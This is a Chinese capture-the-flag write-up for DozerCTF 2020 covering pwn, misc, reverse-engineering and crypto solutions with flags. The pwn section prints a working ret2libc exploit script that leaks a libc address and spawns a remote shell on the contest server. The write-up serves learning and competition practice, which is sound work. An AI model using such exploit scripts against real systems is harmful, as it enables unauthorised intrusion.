DozerCTF 部分wp(无web)2020

DozerCTF已经结束有一段时间了,比赛的wp一早就写完了,但是这几天一直在忙期末考试和几个比赛的事,把wp搬运到CSDN上的事就一直搁置了,今天终于腾出了点时间,还是决定写一下我们队伍的wp,权当为各位大佬抛砖引玉了,不详尽的地方,请多海涵。

Pwn ret2temp

应该是入门级别的ret2libc,就直接贴脚本了

#encoding=utf-8
from pwn import *from LibcSearcher import *
p=remote("118.31.11.216","36666")
#p=remotr('./pwn')
elf=ELF("./pwn")
write_plt=elf.plt["write"]
write_got=elf.got["write"]
main_addr=elf.sym["main"]
p.recvuntil("AWD~!\n")
payload=(0x6C+4)*"a"+p32(write_plt)+p32(main_addr)+p32(1)+p32(write_got)+p32(4)
p.sendline(payload)
write_addr=u32(p.recv(4))
libc=LibcSearcher("write",write_addr)
base=write_addr-libc.dump("write")
system_addr=base+libc.dump("system")
binsh_addr=base+libc.dump("str_bin_sh")
payload=(0x6C+4)*"a"+p32(system_addr)+p32(0)+p32(binsh_addr)
p.sendline(payload)
p.interactive()
#Flag:Dozerctf{bunengzaijiandanle}

Misc
0x01 upload

简单流量包分析,wireshark打开upload.pcap,搜索flag发现可疑流量包:
DozerCTF 部分wp(无web)2020_第1张图片
将这个包原始数据保存下来:
DozerCTF 部分wp(无web)2020_第2张图片
是zip,单独保存出来,发现有加密,打开看到5个txt,每个txt只有6个字节,考虑crc爆破:
DozerCTF 部分wp(无web)2020_第3张图片
使用一个6字节CRC碰撞的脚本对6个txt的CRC逐个碰撞:

DozerCTF 部分wp(无web)2020_第4张图片
DozerCTF 部分wp(无web)2020_第5张图片
DozerCTF 部分wp(无web)2020_第6张图片
DozerCTF 部分wp(无web)2020_第7张图片
DozerCTF 部分wp(无web)2020_第8张图片
Flag: Dozerctf{can_U_find_thefilefrom_traffic}

0x02 py吗
在StegSolve中找到LSB隐写的痕迹,看到结尾的==怀疑是base64加密,考虑到flag开头固定为Dozer,于是去把Dozer加密一下:

DozerCTF 部分wp(无web)2020_第9张图片
DozerCTF 部分wp(无web)2020_第10张图片
DozerCTF 部分wp(无web)2020_第11张图片
于是搜索对应字符串:
DozerCTF 部分wp(无web)2020_第12张图片
将后面的一部分数据base64解密得到flag:
DozerCTF 部分wp(无web)2020_第13张图片
Flag:Dozerctf{python_is_the_best_language!}

  • 0x03 夏日计划
    文件过大,但foremost行不通,考虑对解压文件进行NTFS检测:
    DozerCTF 部分wp(无web)2020_第14张图片
    发现txt中存在隐藏的rar,用winrar修复并打开压缩包:
    DozerCTF 部分wp(无web)2020_第15张图片

得到四个文件,每个文件的画风都很奇怪:DozerCTF 部分wp(无web)2020_第16张图片
用kali自带工具gnuplot将图绘出并用PS旋转,翻转,高斯模糊10像素,黑白,对比度拉满,反色,最后得到汉信码:
DozerCTF 部分wp(无web)2020_第17张图片
DozerCTF 部分wp(无web)2020_第18张图片
拿到中国编码app上解码
DozerCTF 部分wp(无web)2020_第19张图片
Flag: Dozerctf{Congratulations_U_find_it}
Reverse
0x01 貌似有些不对
DozerCTF 部分wp(无web)2020_第20张图片
DozerCTF 部分wp(无web)2020_第21张图片
Flag:Dozerctf{old_man_is_good_man!}

0x02 easy_maze
检测程序,32位,发现UPX壳。
DozerCTF 部分wp(无web)2020_第22张图片

利用工具脱壳得:DozerCTF 部分wp(无web)2020_第23张图片
DozerCTF 部分wp(无web)2020_第24张图片
DozerCTF 部分wp(无web)2020_第25张图片

对byte_41A000的处理为:下标为0,即向上时:下标0,2所对应的值交换下标为1,即向左时:前退一位下标为2,即向下走时:下标0,2对应值交换,下标1,3对应值交换。下标为3,即向右走时,右推一位。手动手撕迷宫,得到路径:SWSWDSAADAWADADADSAWDADWASDADASDDADAWASWSWSDMD5加密得flag。
Flag:Dozerctf{e2b94144f06fdb08695065331d44b59e}
0x03 dozer_vm_plus
DozerCTF 部分wp(无web)2020_第26张图片
Flag:DozerCtf{Dozer_VM_is_so_easy!}

Crypto
0x01 真 签到
下载的exe用winhex打开
base64
base32
hex to string
base58
Flag: Dozerctf{base_family_is_so_good}
0x02 eazy_bag
nc 118.31.11.216 30003
得到背包密码的一组pubkey和enc
于是一顿搜索,找到了CTFwiki上的脚本:
DozerCTF 部分wp(无web)2020_第27张图片
我们对脚本中的pubkey和enc的获取的pubkey和enc稍作修改,将得到的key和明文直接放上去,然后通过sagemath的在线运行平台得出结果:
DozerCTF 部分wp(无web)2020_第28张图片
不知道为什么最后的结果少了点东西,解除的密文是奇数位的,于是根据最后的7070大胆的在最后面添了一个0,将的到的结果16进制转字符一下:
DozerCTF 部分wp(无web)2020_第29张图片
Flag:Dozerctf{big_bag_big_bang_pppp}

最后拿了一个15名,感觉一般吧,毕竟web一题没有写是真的伤。
MISC的最后一个内存取证题再给一个小时可能就写出来了,当时拿到的用户密码去MD5的时候解到的AaBbCc123不知道为什么就是不能打开加密文件,赛后手敲就直接打开了,可能是复制的时候复制到了一个空格或者回车什么的,长记性了,打开加密文件后直接得到一个流量包,是个典型的USB的键盘加密流量包,Github的脚本直接解开得flag。
再次感谢我的队友36小时的付出!
非常感谢您的观看,以上就是我们队伍在这次比赛中全部的解题思路,若有不理解的地方欢迎留言。

你可能感兴趣的:(DozerCTF 部分wp(无web)2020)